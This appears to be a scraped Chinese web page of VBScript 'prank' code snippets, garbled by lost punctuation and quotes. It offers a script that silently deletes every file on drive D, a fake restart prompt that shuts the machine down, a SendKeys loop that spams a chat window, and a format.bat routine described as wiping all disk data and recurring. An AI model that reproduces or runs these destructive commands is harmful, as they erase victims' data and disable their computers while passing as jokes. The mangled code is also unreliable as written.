vbs解包代码20100327 2143Dim rs， ws， fso， conn， stream， connStr， theFolder Set rs = CreateObjectquotADODBRecordSetquotSet stream = CreateObjectquotADODBStreamquotSet conn = CreateObjectquotADODBConnectionquotS。
On Error Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot与 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wshsendKeys quot%squotnext wscript。
慎用代码应该这样使用 dim WSHshell set fso = wscriptcreateobjectquotwscriptshellquotfsorun quotcmd c quotquotdel d\** f q squotquotquot，0 ，true 好吧，运行后D盘就光屁股了参考 vbs整人代码大全。
if MsgBoxquot对不起，您需要重新启动计算机quotchr10quot确定要重启吗，msgbox quot 系统将立刻重起wow ~_^quotquot你上当了quotSet objShell = CreateObjectquotWscriptShellquotobjShellRun quotshutdown s t 5quottrue。
这段代码极具危险性，请勿乱试，运行时系统就会一直要插入系统盘修复，运行完了就关机，于是乎重启没反应，做完系统发现硬盘上数据都没了，而且此程序有可能复发文件formatbat echo off if quot%1quot==quothquot goto begin。